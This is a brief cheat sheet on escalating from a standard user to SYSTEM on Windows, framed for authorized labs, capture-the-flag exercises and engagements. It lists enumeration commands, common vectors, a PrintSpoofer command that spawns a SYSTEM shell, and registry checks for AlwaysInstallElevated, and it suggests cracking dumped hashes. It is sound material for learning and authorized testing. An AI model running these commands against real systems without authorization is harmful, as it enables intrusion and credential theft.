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Windows Privilege Escalation

⚠️ Authorized testing only. Everything here is for use only against systems you own or have explicit written permission to test — home labs, CTFs, and authorized engagements. Unauthorized access is illegal. See Rules of Engagement and Authorization.

Escalating from a standard user to NT AUTHORITY\SYSTEM on Windows targets.

Enumerate

.\winPEASany.exe                 # automated findings
whoami /priv                     # token privileges
systeminfo                       # patch level / hotfixes

Common vectors

Vector Notes
Unquoted service path Space in path + writable dir
Weak service perms sc config / binPath hijack
SeImpersonatePrivilege Potato attacks (JuicyPotato/PrintSpoofer)
AlwaysInstallElevated Malicious .msi runs as SYSTEM
Saved creds cmdkey /list, registry, unattend.xml

Token impersonation example

# SeImpersonatePrivilege present → SYSTEM
.\PrintSpoofer.exe -i -c cmd

Check AlwaysInstallElevated

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Both keys = 1 means any .msi runs as SYSTEM. Tools: winPEAS, PowerUp.ps1, SharpUp. Then crack any dumped hashes.